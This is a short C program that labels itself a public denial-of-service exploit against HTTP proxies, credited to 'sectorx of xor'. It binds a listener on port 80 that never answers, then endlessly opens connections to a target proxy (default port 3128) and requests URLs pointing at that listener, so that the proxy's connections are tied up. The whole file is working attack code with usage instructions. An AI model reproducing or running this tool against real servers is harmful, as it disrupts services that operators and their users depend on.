#include #include #include #include #include #include #include #include #include int Connect(int ip, int port) { int fd; struct sockaddr_in tgt; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) return -1; memset(&tgt,0,sizeof(struct sockaddr_in)); tgt.sin_port = htons(port); tgt.sin_family = AF_INET; tgt.sin_addr.s_addr = ip; if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1; return fd; } int sprint(int fd, const char *str,...) { va_list args; char buf[4096]; memset(&buf,0,sizeof(buf)); va_start(args,str); vsnprintf(buf,sizeof(buf),str,args); return(write(fd,buf,strlen(buf))); } int main(int argc, char *argv[]) { int fd; struct sockaddr_in box; fprintf(stderr, "Many http proxies denial of service (c) sectorx of xor [public]\n"); if (argc < 3) { fprintf(stderr, "usage: %s [proxy port]\n",argv[0]); return; } fprintf(stderr,"Making a stall on port 80 ... "); fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) { perror("socket() "); return; } memset(&box,0,sizeof(struct sockaddr_in)); box.sin_family = AF_INET; box.sin_addr.s_addr = INADDR_ANY; box.sin_port = htons(0x50); if (bind(fd,(struct sockaddr*)&box,sizeof(struct sockaddr))<0) { perror("bind()[80] "); return; } if (listen(fd,65535)<0) { perror("listen() "); return; } fprintf(stderr,"done!\n"); fprintf(stderr,"Attacking proxy : "); for (;;) { int sock; sock = Connect(inet_addr(argv[2]),(argc>3)?(atoi(argv[3])):3128); if (sock<0) { perror("Connect() "); sleep(15); continue; } sprint(sock,"GET http://%s/ HTTP/1.0\n\n",argv[1]); fprintf(stderr, "."); } }